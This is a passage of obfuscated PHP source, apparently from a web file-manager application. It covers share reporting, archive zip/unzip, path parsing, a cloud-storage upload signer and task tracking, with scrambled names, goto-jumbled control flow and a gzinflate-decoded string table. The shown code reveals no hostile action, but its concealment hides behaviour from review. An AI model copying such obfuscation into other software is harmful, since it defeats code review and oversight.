$Fꉣ[415] => $e˦ʮ[$Fꉣ[415]], $Fꉣ[1417] => USER_ID, $Fꉣ[29] => $e˦ʮ[$Fꉣ[29]], $Fꉣ[401] => $e˦ʮ[$Fꉣ[401]]); return Model($Fꉣ[2214])->add($f̻); } public function reportList($eʾ) { goto Bƍ̾; dիƃ: if (empty($C܍[$e[351]])) { return array(); } $this->_listDataApply($C܍[$e[351]]); return $C܍; goto d; Bƍ̾: $e =& $_SERVER[ѽ]; $e薱 = array(); if ($eʾ[$e[712]]) { $eƤ = $eʾ[$e[713]] ? $eʾ[$e[713]] : strtotime(date($e[2216])); $e薱[$e[184]] = array($e[318], array($eʾ[$e[712]], $eƤ)); } goto e×ů; e×ů: if (isset($eʾ[$e[29]]) && in_array($eʾ[$e[29]], array($e[83], $e[2219], $e[2220], $e[2221], $e[1896]))) { $e薱[$e[29]] = $eʾ[$e[29]]; } if (isset($eʾ[$e[699]]) && in_array($eʾ[$e[699]], array($e[464], $e[83], $e[2219], $e[2220]))) { $e薱[$e[699]] = $eʾ[$e[699]]; } $Eᡓ̋ = Input::get($e[404], $e[7], $e[2218], array($e[2155], $e[400])); goto dŕ; dŕ: $aƾ = array($e[398] => $e[399], $e[400] => $e[401]); $E۞ɣ = $e[2222] . $aƾ[$Eᡓ̋]; $C܍ = Model($e[2214])->where($e薱)->order($E۞ɣ)->selectPage(20); goto dիƃ; d: } public function reportStatus($f厤) { goto DԽԮ; DԽԮ: $E =& $_SERVER[ѽ]; $cîϟ = array($E[364] => $f厤[$E[364]]); $F = Model($E[2214])->where($cîϟ)->field($E[2223])->find(); goto A; fڋೣ: return $c; goto Bϵ; B͓ز: $c = Model($E[2214])->where($cîϟ)->save($Bى); if ($f厤[$E[699]] == $E[2219]) { if ($F[$E[415]] != $E[464] && $this->shareFileMeta($F[$E[415]])) { $this->shareFileMeta($F[$E[415]], 0); } return $this->remove($F[$E[437]]); } if ($c && $f厤[$E[699]] == $E[2220]) { $E疰 = $Bى[$E[699]] == $E[2220] ? 1 : 0; $this->shareFileMeta($F[$E[415]], $E疰); $this->removeByFile($F[$E[415]]); } goto fڋೣ; A: if (!$F) { return !1; } $Bى = array($E[699] => $f厤[$E[699]]); if ($f厤[$E[699]] == $E[2220] && $F[$E[699]] == $E[2220]) { $Bى[$E[699]] = 0; } goto B͓ز; Bϵ: } private function removeByFile($F) { goto aą; B: $this->remove($aʈ쥮); goto Dʴ; d: $fҐ = array($C򐏦[366] => array($C򐏦[7], $Aɟ), $C򐏦[442] => 1); $c = Model($C򐏦[2057])->where($fҐ)->field($C򐏦[437])->select(); $aʈ쥮 = array_to_keyvalue($c, $C򐏦[33], $C򐏦[437]); goto B; aą: $C򐏦 =& $_SERVER[ѽ]; $c = Model($C򐏦[762])->where(array($C򐏦[415] => $F))->field($C򐏦[366])->select(); $Aɟ = array_to_keyvalue($c, $C򐏦[33], $C򐏦[366]); goto d; Dʴ: } private function shareFileMeta($BԷ, $B͝ = null) { $aެ =& $_SERVER[ѽ]; $D = array($aެ[415] => $BԷ, $aެ[89] => $aެ[2224]); if (is_null($B͝)) { return Model($aެ[2225])->where($D)->find(); } $D[$aެ[356]] = $B͝; Model($aެ[2225])->add($D, array(), !0); } } goto Bɋһ; A܏: class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $f; if (!$f) { $A▦ = IO::init($_SERVER[ѽ][8]); } return $A▦; } private static function iconvSystem($e) { return self::local()->iconvSystem($e); } private static function iconvApp($Fڬ) { return self::local()->iconvApp($Fڬ); } public static function zip($Dܦ, $f݌ = "\172\151\160", $Eʹ = '', $Eĥο = REPEAT_RENAME) { goto bΜ; D잨ş: $Dˢ = !1; if (!$Eʹ && $d->getType() == $eԧٰ[103]) { $DϾ = self::zipFileList($Dܦ); } else { $Dˢ = $Eʹ ? $Eʹ : TEMP_FILES . $eԧٰ[1029] . time() . rand_string(8) . $eԧٰ[8]; mk_dir($Dˢ); $DϾ = self::zipFileList($Dܦ, $Dˢ); } $Fٻ = $Bҍ[$eԧٰ[28]]; goto bϋ; bΜ: $eԧٰ =& $_SERVER[ѽ]; $d = self::init($Dܦ[0][$eԧٰ[75]]); $Bҍ = self::info($Dܦ[0][$eԧٰ[75]]); goto D잨ş; d: $c땱з = $f . $Fٻ . $eԧٰ[93] . $f݌; $c땱з = get_filename_auto($c땱з, $eԧٰ[33], $Eĥο); $Aۉ = self::iconvSystem($c땱з); goto cտ; cտ: foreach ($DϾ as $d => $Cƴ) { $DϾ[$d] = self::iconvSystem($Cƴ); } KodArchive::create($Aۉ, $DϾ); if (!IO::exist($c땱з)) { if ($Dˢ) { del_dir($Dˢ); } show_json(LNG($eԧٰ[1031]), !1); } goto c̈; c̈: if ($Eʹ || !$Dˢ) { if ($Dˢ && strstr($Dˢ, TEMP_FILES)) { $C孯 = $DϾ = array(); recursion_dir($f, $C孯, $DϾ, 0); foreach ($C孯 as $Bܽ) { del_dir($Bܽ); } foreach ($DϾ as $Bɥ) { if ($Bɥ == $Aۉ) { continue; } del_file($Bɥ); } } return $c땱з; } $C̪ʞ = self::pathFather($Bҍ[$eԧٰ[75]]); $bő = self::move($c땱з, $C̪ʞ, $Eĥο); goto d; d: if (!$bő) { del_dir($Dˢ); show_json(LNG($eԧٰ[1031]), !1); } del_dir($Dˢ); return $bő; goto Aފ; bϋ: if (count($DϾ) > 1) { $A· = IO::info(IO::pathFather($Bҍ[$eԧٰ[75]])); $Fٻ = $A·[$eԧٰ[28]]; } $f = $Dˢ; if (!$f) { $f = get_path_father($Bҍ[$eԧٰ[75]]); $C = IO::info($f); if (!$C[$eԧٰ[186]]) { show_json(LNG($eԧٰ[1030]), !1); } } goto d; Aފ: } public static function unzip($E޲, $D݆ = "\162\x65\160\x6c\x61\143\145") { goto bڪ; f: $FՇ = KodArchive::extract($dﵳ, $a༤ . $b䎩[8], $Fۢ); self::archiveExt(); if (!$FՇ[$b䎩[1036]]) { show_json($b䎩[1037] . $FՇ[$b䎩[1038]], !1); } goto A󫌑ٿ; A󫌑ٿ: Hook::trigger($b䎩[1039], $a༤); recursion_dir($a༤, $f, $C޶, 0); $C߻ = array_merge($f, $C޶); goto f붍; f붍: foreach ($C߻ as $Cپү) { $Cپү = self::iconvApp($Cپү); self::move($Cپү, $bː, $D݆); } del_dir($a༤); if (!$Dԗ) { del_file($dﵳ); } goto f; b״: mk_dir($a༤); $EɃ = self::fileExt($C); $dﵳ = $a༤ . $b䎩[93] . $EɃ; goto cㆍۇ; b: if (!($C = parent::info($a))) { show_json(LNG($b䎩[1033]), !1); } if (!($DǣՅ = parent::infoFull($bː))) { $bː = parent::mkdir($bː); $DǣՅ = array($b䎩[75] => $bː); } else { if (isset($DǣՅ[$b䎩[366]]) && trim($DǣՅ[$b䎩[75]], $b䎩[8]) != trim($bː, $b䎩[8])) { $A = KodIO::make($DǣՅ[$b䎩[457]]); $dڳ = parent::fileNameAuto($A, $DǣՅ[$b䎩[28]], REPEAT_RENAME_FOLDER, !0); $bː = parent::mkdir($A . $dڳ); $DǣՅ = array($b䎩[75] => $bː); } } $bː = $DǣՅ[$b䎩[75]]; goto Aַڋ; Aַڋ: $eМ = self::tmpFileName($C); $a༤ = TEMP_FILES . $eМ; del_dir($a༤); goto b״; cㆍۇ: if (!@file_exists(self::iconvSystem($dﵳ))) { $Dԗ = self::localFilePath($a, $EɃ); $dﵳ = $Dԗ ? $Dԗ : parent::download($a, $dﵳ); } $dﵳ = self::iconvSystem($dﵳ); $Fۢ = isset($E޲[$b䎩[1034]]) ? $E޲[$b䎩[1034]] : $b䎩[1035]; goto f; f: return !0; goto F̆; bڪ: $b䎩 =& $_SERVER[ѽ]; $a = $E޲[$b䎩[75]]; $bː = $E޲[$b䎩[1032]]; goto b; F̆: } public static function unzipList($fΓ) { goto bҌڿ; f: if (!is_dir($AΒ揶)) { mk_dir($AΒ揶); } $b݊ = $AΒ揶 . $bڅ[8] . $D; if (!@file_exists(self::iconvSystem($b݊))) { if (isset($b΃)) { url_request($Dۣ, $bڅ[1043], $b݊); } else { $Eʠ = self::localFilePath($Dۣ, $e׫ک); $b݊ = $Eʠ ? $Eʠ : self::download($Dۣ, $b݊); } } goto D˻; aŗ֟Ď: $A󯈼Ζ = json_encode($Cɼ[$bڅ[1038]]); self::setContent($A, $A󯈼Ζ); if (count($Cɼ[$bڅ[1038]]) >= $fۮ) { show_json(sprintf(LNG($bڅ[1042]), count($Cɼ[$bڅ[1038]])), !1); } goto d; D: self::archiveExt(); del_dir($AΒ揶); if (!$Cɼ[$bڅ[1036]]) { show_json($Cɼ[$bڅ[1038]], !1); } goto aŗ֟Ď; bҌڿ: $bڅ =& $_SERVER[ѽ]; $Dۣ = $fΓ[$bڅ[75]]; $fŎԬ = isset($fΓ[$bڅ[1040]]) ? $fΓ[$bڅ[1040]] : -1; goto Cлپ; D˻: $b݊ = self::iconvSystem($b݊); if ($fŎԬ >= 0) { $bҤ = isset($fΓ[$bڅ[1044]]) ? $fΓ[$bڅ[1044]] : !1; $A = isset($fΓ[$bڅ[28]]) ? $fΓ[$bڅ[28]] : $bڅ[33]; KodArchive::filePreview($b݊, $fŎԬ, $bҤ, $A); self::archiveExt(); die; } $Cɼ = KodArchive::listContent($b݊); goto D; d: return $Cɼ[$bڅ[1038]]; goto B׊; E鄠: if (isset($b΃)) { $fԝغ = array($b΃[$bڅ[75]], $b΃[$bڅ[1040]], $b΃[$bڅ[28]]); $D = md5(implode($bڅ[70], $fԝغ)) . $bڅ[93] . get_path_ext($b΃[$bڅ[28]]); } else { $fԝغ = array($Bڐ[$bڅ[28]], $Bڐ[$bڅ[75]], $Bڐ[$bڅ[77]]); $D = md5(implode($bڅ[70], $fԝغ)) . $bڅ[93] . $e׫ک; } if ($fŎԬ == -1) { $A = IO_PATH_SYSTEM_TEMP . "\x7a\151\160\x56\x69\x65\167\57{$C}\x2f{$D}\56\154\157\147"; $C麯 = self::infoFull($A); if ($C麯) { $A = $C麯[$bڅ[75]]; $dт = self::getContent($A); if ($dт) { $A󯈼Ζ = json_decode($dт, !0); if (count($A󯈼Ζ) >= $fۮ) { show_json(sprintf(LNG($bڅ[1042]), count($A󯈼Ζ)), !1); } return $A󯈼Ζ; } } else { $A = self::mkfile($A); } } $AΒ揶 = TEMP_FILES . $C; goto f; BͲ: $Bڐ = self::info($B); $e׫ک = self::fileExt($Bڐ); $C = self::tmpFileName($Bڐ); goto E鄠; Cлپ: $fۮ = 50000; if (request_url_safe($Dۣ)) { $b΃ = parse_url_query($Dۣ); if (!isset($b΃[$bڅ[75]])) { show_json($bڅ[1041], !1); } } $B = isset($b΃) ? $b΃[$bڅ[75]] : $Dۣ; goto BͲ; B׊: } private static function fileExt($fá) { $f˲ =& $_SERVER[ѽ]; $C = $fá[$f˲[157]]; if ($C == $f˲[1045]) { $BŅ = $f˲[1046]; if (substr($fá[$f˲[28]], -strlen($BŅ)) == $BŅ) { $C = $f˲[1047]; } } self::archiveExt($C); return $C; } private static function zipFileList($c蘎, $Dĵ = false) { $E =& $_SERVER[ѽ]; $E© = array(); foreach ($c蘎 as $cʍ߅ۘ) { $C = $cʍ߅ۘ[$E[75]]; if ($Dĵ) { $C = self::copy($cʍ߅ۘ[$E[75]], $Dĵ, $E[754]); } if ($C && self::local()->exist($C)) { $E©[$cʍ߅ۘ[$E[75]]] = $C; } } if (!empty($E©)) { return array_values($E©); } show_json(LNG($E[1048]), !1); } public static function tmpFileName($cۋ) { $c =& $_SERVER[ѽ]; $Fԉ = array($cۋ[$c[28]], $cۋ[$c[75]], $cۋ[$c[77]], $cۋ[$c[455]]); return md5(implode($c[70], $Fԉ)); } private static function localFilePath($Aބ, $e) { goto DƉ; DƉ: $E҄٫ =& $_SERVER[ѽ]; if ($e == $E҄٫[1049] && strtoupper(substr(PHP_OS, 0, 3)) == $E҄٫[1050]) { return !1; } $e = KodIO::parse($Aބ); goto aƕ; aƕ: if ($e[$E҄٫[29]] == KodIO::KOD_SOURCE) { $E֨ = Model($E҄٫[762])->fileInfoGet(KodIO::sourceID($Aބ)); if (!$E֨[$E҄٫[75]]) { show_json($E҄٫[1051], !1); } $Aބ = $E֨[$E҄٫[75]]; } $C = self::init($Aބ); $B = $C->getType(); goto Eƶƈ; Eƶƈ: if ($B == $E҄٫[103] || $B == $E҄٫[1052]) { if (!$C->exist($C->path)) { show_json(LNG($E҄٫[102]), !1); } return $C->path; } return !1; goto C; C: } private static function archiveExt($Bͳ = '') { $GLOBALS[$_SERVER[ѽ][1053]] = $Bͳ; } } class KodIO { const KOD_SOURCE = "\x7b\x73\157\165\162\143\x65\x7d"; const KOD_USER_RECYCLE = "\173\x75\x73\x65\162\x52\x65\143\x79\x63\154\x65\175"; const KOD_USER_FAV = "\173\x75\163\x65\162\x46\141\x76\175"; const KOD_USER_FILE_TAG = "\173\165\163\145\x72\x46\151\154\x65\x54\x61\x67\x7d"; const KOD_USER_FILE_TYPE = "\x7b\165\x73\x65\x72\106\x69\x6c\x65\124\x79\160\x65\175"; const KOD_GROUP_ROOT_SELF = "\173\x67\x72\157\x75\160\x52\x6f\157\x74\x53\145\x6c\146\x7d"; const KOD_USER_SHARE = "\x7b\x75\x73\145\162\123\150\141\x72\x65\x7d"; const KOD_USER_SHARE_LINK = "\173\x75\x73\x65\x72\x53\150\x61\162\x65\114\x69\x6e\x6b\x7d"; const KOD_USER_SHARE_TO_ME = "\x7b\x73\x68\x61\x72\145\x54\157\x4d\145\x7d"; const KOD_SHARE_ITEM = "\173\163\150\141\x72\x65\111\164\x65\155\x7d"; const KOD_SHARE_LINK = "\x7b\163\x68\141\162\x65\x49\164\145\x6d\114\151\156\153\175"; const KOD_SEARCH = "\x7b\163\x65\141\162\143\150\x7d"; const KOD_BLOCK = "\173\x62\x6c\157\143\153\175"; const KOD_IO = "\x7b\x69\157\175"; const KOD_USER_RECENT = "\x7b\x75\x73\x65\x72\122\x65\156\x63\x65\x6e\164\x7d"; const KOD_USER_DRIVER = "\x7b\x64\162\151\x76\145\162\x7d"; public static function typeList() { $F =& $_SERVER[ѽ]; return array($F[1054] => self::KOD_SOURCE, $F[1055] => self::KOD_USER_RECYCLE, $F[1056] => self::KOD_USER_FAV, $F[1057] => self::KOD_USER_FILE_TAG, $F[1058] => self::KOD_USER_FILE_TYPE, $F[1059] => self::KOD_GROUP_ROOT_SELF, $F[1060] => self::KOD_USER_SHARE, $F[1061] => self::KOD_USER_SHARE_LINK, $F[1062] => self::KOD_USER_SHARE_TO_ME, $F[1063] => self::KOD_SHARE_ITEM, $F[1064] => self::KOD_SHARE_LINK, $F[1065] => self::KOD_SEARCH, $F[1066] => self::KOD_BLOCK, $F[1067] => self::KOD_IO, $F[1068] => self::KOD_USER_RECENT, $F[1069] => self::KOD_USER_DRIVER); } public static function parse($d) { goto Fֈ苑; Dć: preg_match($Aš[1070], $d, $b); $b͔ = array($Aš[385] => !1, $Aš[1071] => !1, $Aš[382] => !1, $Aš[75] => $d, $Aš[1016] => !1, $Aš[1015] => $Aš[33]); if (is_array($b) && count($b) == 5) { $F͉ = $Aš[1072] . $b[2] . $Aš[312]; if (in_array($F͉, $D)) { $b͔[$Aš[1016]] = $b[1]; $b͔[$Aš[29]] = $F͉; $b͔[$Aš[1073]] = substr($F͉, 1, -1); $b͔[$Aš[364]] = $b[3]; } $b͔[$Aš[1015]] = $b[4]; } goto fƎ劊; fƎ劊: $Ė = array($Aš[33], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $b͔[$Aš[1074]] = in_array($b͔[$Aš[29]], $Ė); return $b͔; goto Fî; Fֈ苑: $Aš =& $_SERVER[ѽ]; $d = self::clear($d); $D = array_values(self::typeList()); goto Dć; Fî: } public static function clear($c²) { goto d׭ޑ; d֛: if (substr($c², 0, 3) == $D[1076]) { $c² = substr($c², 3); } while (strstr($c², $f)) { $c² = str_replace($f, $D[8], $c²); } $c² = preg_replace($D[1077], $D[8], $c²); goto E絚; d׭ޑ: $D =& $_SERVER[ѽ]; $c² = str_replace($D[95], $D[8], $c²); $f = $D[1075]; goto d֛; E絚: if ($c² == $D[8]) { return $D[8]; } $c² = rtrim($c², $D[8]); return $c²; goto Cᅽ; Cᅽ: } public static function sourceID($fܐ) { $D =& $_SERVER[ѽ]; $EГꏃ = self::parse($fܐ); if ($EГꏃ[$D[29]] !== self::KOD_SOURCE) { show_json(LNG($D[1078]), !1); } return $EГꏃ[$D[364]]; } public static function make($F) { if (!$F) { return !1; } return self::makePath(self::KOD_SOURCE, intval($F)); } public static function makeShare($aʂĜ, $bڱѪ) { return self::makePath(self::KOD_SHARE_ITEM, $aʂĜ, $bڱѪ); } public static function makeFileTypePath($F) { return self::makePath(self::KOD_USER_FILE_TYPE, $F); } public static function makeFileTagPath($D薈) { return self::makePath(self::KOD_USER_FILE_TAG, $D薈); } public static function makePath($f, $F툑 = '', $fↈފ = '') { $f䡷 =& $_SERVER[ѽ]; $C̷ = substr($f, 1, -1); $d = $f䡷[1079] . $C̷ . $f䡷[1080] . $F툑 . $f䡷[1081]; $d = $fↈފ ? $d . $fↈފ . $f䡷[8] : $d; return $d; } public static function hashPath($D۞) { $F肐ؙ =& $_SERVER[ѽ]; $Cü = is_array($D۞) ? $D۞ : IO::info($D۞); $d͏ = _get($Cü, $F肐ؙ[1082], $F肐ؙ[33]); if (!$d͏) { $cǻ = KodIO::parse($Cü[$F肐ؙ[75]]); if (!$cǻ[$F肐ؙ[29]]) { $d͏ = IO::hashSimple($Cü[$F肐ؙ[75]]); } } if (!$d͏) { $d͏ = md5($Cü[$F肐ؙ[75]] . $Cü[$F肐ؙ[77]] . $Cü[$F肐ؙ[107]]); } return $d͏; } public static function initSystemPath() { $Eڄdž =& $_SERVER[ѽ]; if (defined($Eڄdž[1083])) { return; } define($Eڄdž[1083], self::systemPath($Eڄdž[1084])); define($Eڄdž[1085], self::systemPath($Eڄdž[1086])); define($Eڄdž[1087], self::systemPath($Eڄdž[1088])); define($Eڄdž[1089], self::systemPath($Eڄdž[1090])); } private static function systemPath($f) { goto aԕӡ; aԕӡ: $e =& $_SERVER[ѽ]; $fƙ = $e[1091] . ucfirst($f); $F䣈ʶ = Model($e[1092])->get($fƙ); goto c; C: return $F䣈ʶ; goto d; c: if ($F䣈ʶ) { return $F䣈ʶ; } if ($f == $e[1084]) { $F䣈ʶ = self::make(Model($e[762])->systemRootPathAdd($e[1093])); } else { $F䣈ʶ = self::systemPath($e[1084]); $AͿҭ = self::sourceID($F䣈ʶ); $F䣈ʶ = self::make(Model($e[762])->mkdir($AͿҭ, $f)); } Model($e[1092])->set($fƙ, $F䣈ʶ); goto C; d: } public static function systemFolder($Eǯ) { $f = IO_PATH_SYSTEM_SOURCE . $Eǯ; $e幈 = Cache::get($f); if (!$e幈) { $e = IO::infoFull($f); if (!$e) { $e幈 = IO::mkdir($f, REPEAT_SKIP); } else { $e幈 = $e[$_SERVER[ѽ][75]]; } Cache::set($f, $e幈, 3600 * 10); } return $e幈; } public static function defaultDriver() { return Model($_SERVER[ѽ][714])->defaultDriver(); } public static function defaultIO() { $e熬 =& $_SERVER[ѽ]; $a煦 = self::defaultDriver(); return $e熬[1094] . $a煦[$e熬[364]] . $e熬[1081]; } public static function fileTypeList() { $bͭ =& $_SERVER[ѽ]; $aӟ = $GLOBALS[$bͭ[6]][$bͭ[1095]]; foreach ($aӟ as $A² => $aڔ) { $Aː = $bͭ[1096] . $A²; $b = LNG($Aː); if ($Aː != $b) { $aӟ[$A²][$bͭ[28]] = $b; } } return $aӟ; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($fúֆ) { parent::__construct($fúֆ); $this->signatureVersion($_SERVER[ѽ][197]); } public function uploadFormData($Eӽ, $DؿЭї = 3600) { goto F׋ͥ; DّĚ: $cپާ = array($BǍ[1099] => $a󊌄, $BǍ[1100] => array(array($BǍ[1101] => $BՋ), array($BǍ[1102] => $this->bucket), array($BǍ[1103], $BǍ[1104], $BǍ[33]), array($BǍ[1105] => $Eҙ), array($BǍ[1106] => $a), array($BǍ[1107] => $this->accessKey), array($BǍ[1108] => $Dݐ))); $cپާ = json_encode($cپާ); $cի = hash_hmac($BǍ[215], $Dݐ, $this->secret); goto aԍ; F׋ͥ: $BǍ =& $_SERVER[ѽ]; $BՋ = $BǍ[182]; $a = $BǍ[215]; goto d߂; d߂: $Eҙ = $BǍ[1097]; $a󊌄 = gmdate($BǍ[1098], time() + $DؿЭї); $Dݐ = (string) time() . $BǍ[67] . (string) (time() + $DؿЭї); goto DّĚ; DDZ: return $aLJ; goto eĄΈ; aԍ: $B꠾ = sha1($cپާ); $EԬ = hash_hmac($BǍ[215], $B꠾, $cի); $aLJ = array($BǍ[1101] => $BՋ, $BǍ[1105] => $Eҙ, $BǍ[1109] => base64_encode($cپާ), $BǍ[1106] => $a, $BǍ[1107] => $this->accessKey, $BǍ[1110] => $Dݐ, $BǍ[1111] => $EԬ, $BǍ[166] => $this->getHost()); goto DDZ; eĄΈ: } public function fileOutLink($a߼) { $c韐 =& $_SERVER[ѽ]; if (substr($a߼, 0, 7) == $c韐[1112]) { $a߼ = $c韐[1113] . substr($a߼, 7); } header($c韐[153] . $a߼); die; } } goto Dҧ; F،ɡ: define($_SERVER[ѽ][0], $_SERVER[ѽ][1]); $_SERVER[] = explode($_SERVER[ѽ][2], gzinflate(substr($_SERVER[ѽ][3], 10, -8))); function Model($Fљ = '', $Bԗ = '', $c؉ = '') { goto b; B񣈜: if (isset($eا[$E])) { return $eا[$E]; } if ($Fљ) { $Fљ = strtoupper($Fљ[0]) . substr($Fљ, 1); $CÊ = $Fљ . $e[1]; if (class_exists($CÊ)) { $eا[$E] = new $CÊ(); return $eا[$E]; } } if (!$c؉) { $c؉ = $GLOBALS[$e[2]][$e[3]]; } goto F; F: $eا[$E] = new ModelBase($Fљ, $Bԗ, $c؉); return $eا[$E]; goto cʵ; b: $e =& $_SERVER[]; static $eا = array(); $E = strtolower($Bԗ . $e[0] . $Fљ); goto B񣈜; cʵ: } goto f; CՃ: class Task { const STATYS_STOP = "\163\164\157\160"; const STATYS_RUNNING = "\162\165\x6e\156\x69\x6e\147"; const STATYS_KILL = "\153\151\x6c\x6c"; public $task; public function __destruct() { $this->end(); } public function __construct($aЛ, $b = '', $BԄ = 0, $bѮ = '') { goto B򉽆; F: Hook::trigger($A[1428], $this->task); $this->task[$A[1422]] = timeFloat(); self::valueSet($this->task[$A[364]], $this->task); goto E̹; A߃: Hook::bind($A[1383], array($this, $A[1425])); Hook::bind($A[1426], array($this, $A[1427])); $this->startAfter(); goto F; B򉽆: $A =& $_SERVER[ѽ]; if (self::get($aЛ)) { return; } $this->task = array($A[364] => $aЛ, $A[1417] => USER_ID, $A[1325] => $bѮ, $A[29] => $b, $A[984] => $A[33], $A[982] => $BԄ, $A[994] => 0, $A[1418] => 0, $A[1419] => 0, $A[1420] => timeFloat(), $A[1421] => 0, $A[1422] => 0, $A[1423] => 0, $A[1424] => 0, $A[699] => $A[1381]); goto A߃; E̹: } public function end() { goto F˪; F˪: $bŃ =& $_SERVER[ѽ]; if (!$this->task) { return; } if ($this->task[$bŃ[1422]]) { self::valueSet($this->task[$bŃ[364]], !1); } goto f; bׅ: Hook::unbind($bŃ[1426], array($this, $bŃ[1427])); $this->endAfter(); $this->task = !1; goto F׍; f: $D = timeFloat() - $this->task[$bŃ[1420]]; self::log($bŃ[1429] . $this->task[$bŃ[364]] . $bŃ[1430] . $D . $bŃ[1431]); Hook::unbind($bŃ[1383], array($this, $bŃ[1425])); goto bׅ; F׍: } public function update($c錎 = 0) { goto Aۙ; Aۙ: $fˋ =& $_SERVER[ѽ]; $aɋЉ =& $this->task; if (!$aɋЉ) { return; } goto d‚; f: Hook::trigger($fˋ[1435], $aɋЉ); self::valueSet($aɋЉ[$fˋ[364]], $aɋЉ); goto c; fӔ: $fӭ䲋 = self::get($aɋЉ[$fˋ[364]]); $Eߘ = $fӭ䲋[$fˋ[699]]; if ($Eߘ == self::STATYS_KILL) { $c̉ = array($fˋ[1432] => LNG($fˋ[1433]), $fˋ[1036] => !1); Cache::set($fˋ[1434] . $this->task[$fˋ[364]], $c̉, 30); $this->end(); die; } else { if ($Eߘ == self::STATYS_STOP) { $Aџ촎 = 2; $fӭ䲋[$fˋ[1423]] += $Aџ촎; self::valueSet($aɋЉ[$fˋ[364]], $fӭ䲋); sleep($Aџ촎); $this->update(); return; } } goto bĔ; c댚: $this->updateAfter(); $cߊ = 0.2; if (timeFloat() - $aɋЉ[$fˋ[1422]] < $cߊ) { return; } goto fӔ; bĔ: $aɋЉ[$fˋ[699]] = $Eߘ ? $Eߘ : $aɋЉ[$fˋ[699]]; $aɋЉ[$fˋ[1423]] = $fӭ䲋[$fˋ[1423]] ? $fӭ䲋[$fˋ[1423]] : 0; $aɋЉ[$fˋ[1422]] = timeFloat(); goto f; d‚: $aɋЉ[$fˋ[994]] += $c錎; $aɋЉ[$fˋ[1421]] = timeFloat(); if ($aɋЉ[$fˋ[982]]) { if ($aɋЉ[$fˋ[982]] < $aɋЉ[$fˋ[994]]) { $aɋЉ[$fˋ[982]] = $aɋЉ[$fˋ[994]]; } $fݒͺ = timeFloat() - $aɋЉ[$fˋ[1420]] - $aɋЉ[$fˋ[1423]]; $aɋЉ[$fˋ[1418]] = $aɋЉ[$fˋ[994]] / $aɋЉ[$fˋ[982]]; $aɋЉ[$fˋ[1419]] = $aɋЉ[$fˋ[994]] / $fݒͺ; if ($aɋЉ[$fˋ[1418]] > 0) { $aɋЉ[$fˋ[1424]] = $fݒͺ * (1 - $aɋЉ[$fˋ[1418]]) / $aɋЉ[$fˋ[1418]]; } $aɋЉ[$fˋ[1424]] = $aɋЉ[$fˋ[1424]] <= 0 ? 0 : $aɋЉ[$fˋ[1424]]; } goto c댚; c: } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($F胮) { $bչ =& $_SERVER[ѽ]; Cache::set($bչ[1434] . $this->task[$bչ[364]], $F胮, 60); return $F胮; } public static function get($aډܖ) { return self::valueGet($aډܖ); } public static function listData() { $b伲 = self::valueGet(); return array_sort_by($b伲, $_SERVER[ѽ][1420], !0); } public static function kill($E) { return self::changeStatus($E, self::STATYS_KILL); } public static function stop($DJ) { return self::changeStatus($DJ, self::STATYS_STOP); } public static function restart($a) { return self::changeStatus($a, self::STATYS_RUNNING); } public static function killAll() { $cٛ =& $_SERVER[ѽ]; $C͌ = self::listData(); foreach ($C͌ as $eܧ) { self::kill($eܧ[$cٛ[364]]); } sleep(2); foreach ($C͌ as $eܧ) { self::valueSet($eܧ[$cٛ[364]], !1); } } private static function changeStatus($B, $c̍̄) { goto bӌ; D: return !0; goto c; E: $d͋[$b鬐[699]] = $c̍̄; self::valueSet($B, $d͋); self::log($b鬐[1436] . $d͋[$b鬐[364]] . $b鬐[1437] . $c̍̄); goto D; bӌ: $b鬐 =& $_SERVER[ѽ]; $d͋ = self::valueGet($B); if (!$d͋) { return !1; } goto E; c: } public static function valueGet($CᰄȂ = false) { $Eı =& $_SERVER[ѽ]; if ($CᰄȂ) { $cĞ = Model($Eı[395])->where(array($Eı[89] => $CᰄȂ, $Eı[29] => $Eı[1438]))->find(); return $cĞ ? json_decode($cĞ[$Eı[356]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($bŞ૶ = false) { goto eʉЬ; a×փ: $a鰎 = Model($Eَ[395])->where($F)->select(); $a鰎 = $a鰎 ? $a鰎 : array(); foreach ($a鰎 as $BĴ => $d󥝺ē) { $a鰎[$BĴ] = json_decode($d󥝺ē[$Eَ[356]], !0); } goto Eğ; Eğ: return $a鰎; goto fä; eʉЬ: $Eَ =& $_SERVER[ѽ]; $F = array($Eَ[29] => $Eَ[1438]); if ($bŞ૶) { $F[$Eَ[1417]] = $bŞ૶; } goto a×փ; fä: } public static function valueSet($Fɰ, $Cٕ㫘) { goto d; d̈: Model($Eʘ[395])->add($dɸ, array(), !0); goto dÓ; d: $Eʘ =& $_SERVER[ѽ]; if (!$Cٕ㫘) { return Model($Eʘ[395])->where(array($Eʘ[89] => $Fɰ, $Eʘ[29] => $Eʘ[1438]))->delete(); } $C݉ = json_encode($Cٕ㫘); goto Aݏ; Aݏ: if (!$C݉) { ob_start(); var_dump($Cٕ㫘); $c = ob_get_clean(); self::log($Eʘ[1439] . json_encode_force($c)); } if (!$Fɰ || !$Cٕ㫘[$Eʘ[364]]) { return !1; } $dɸ = array($Eʘ[29] => $Eʘ[1438], $Eʘ[1417] => USER_ID, $Eʘ[89] => $Fɰ, $Eʘ[356] => $C݉); goto d̈; dÓ: } public static function log($B) { write_log($B, $_SERVER[ѽ][1440]); } } class TaskFileTransfer extends Task { protected function startAfter() { goto eț; B¯: $c亭[$DŗӮ[1460]] = LNG($DŗӮ[1461]); $c亭[$DŗӮ[1462]] = 0; $c亭[$DŗӮ[1463]] = 0; goto DǦ; e: Hook::bind($DŗӮ[539], array($this, $DŗӮ[1449])); Hook::bind($DŗӮ[505], array($this, $DŗӮ[1450])); Hook::bind($DŗӮ[502], array($this, $DŗӮ[1450])); goto dШ; DǦ: $c亭[$DŗӮ[984]] = $DŗӮ[33]; $c亭[$DŗӮ[1464]] = $DŗӮ[33]; $c亭[$DŗӮ[1465]] = 0; goto Cŷï; dШ: Hook::bind($DŗӮ[507], array($this, $DŗӮ[1450])); Hook::bind($DŗӮ[509], array($this, $DŗӮ[1450])); Hook::bind($DŗӮ[511], array($this, $DŗӮ[1450])); goto cԌ; cΥ: Hook::bind($DŗӮ[1454], array($this, $DŗӮ[1455])); Hook::bind($DŗӮ[1456], array($this, 